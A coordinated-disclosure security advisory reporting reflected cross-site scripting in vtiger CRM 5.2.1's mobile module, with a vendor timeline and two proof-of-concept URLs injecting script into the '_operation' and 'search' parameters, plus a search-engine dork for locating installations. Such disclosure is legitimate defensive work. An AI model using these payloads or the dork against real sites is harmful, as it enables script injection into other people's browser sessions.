vtiger CRM 5.2.1 Cross Site Scripting

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vtiger CRM 5.2.1 Multiple Remote Cross-Site Scripting Vulnerabilities  
  
  
Vendor: vTiger  
Product web page: http://www.vtiger.com  
Affected version: 5.2.1  
  
Summary: vtiger CRM is a free, full-featured, 100% Open Source CRM software  
ideal for small and medium businesses, with low-cost product support available  
to production users that need reliable support.  
  
Desc: vtiger CRM suffers from a XSS vulnerability when parsing user input to  
the '_operation' and 'search' parameters via GET method in '/modules/mobile/index.php'  
script. Attackers can exploit this weakness to execute arbitrary HTML and script code  
in a user's browser session.  
  
Tested on: Microsoft Windows XP Professional SP3 (EN)  
Apache/2.0.52 (Win32)  
PHP/5.2.6  
MySQL 5.0.51b-community-nt-log  
  
  
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic  
@zeroscience  
  
  
Vendor status:  
  
[28.07.2011] Vulnerabilities discovered.  
[28.07.2011] Initial contact with the vendor.  
[29.07.2011] Vendor replies asking more details.  
[29.07.2011] Sent details to vendor.  
[01.08.2011] Requested status update from vendor.  
[02.08.2011] Vendor investigates and confirms issues.  
[02.08.2011] Asked vendor for patch release date.  
[04.08.2011] No reply from vendor.  
[05.08.2011] Asked vendor to specify patch release date.  
[05.08.2011] Vendor plans to release the 5.3.0 RC by the end of the month.  
[21.08.2011] Asked vendor for specific patch release date.  
[22.08.2011] Vendor replies promising official release by mid September.  
[14.09.2011] Asked vendor for update.  
[14.09.2011] Vendor replies extending official release date.  
[26.10.2011] Coordinated public security advisory released.  
  
  
  
  
Advisory ID: ZSL-2011-5052  
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2011-5052.php  
  
Vendor: http://wiki.vtiger.com/index.php/Vtiger530:Release_Notes  
  
GHDB: http://www.exploit-db.com/ghdb/3737/  
  
  
28.07.2011  
  
---  
  
  
Dork: intitle:"vtiger CRM 5 - Commercial Open Source CRM"  
  
http://localhost:8888/modules/mobile/index.php?_operation="><script>alert(1)</script>  
http://localhost:8888/modules/mobile/index.php?_operation=listModuleRecords&module=Services&search="><script>alert(1)</script>  
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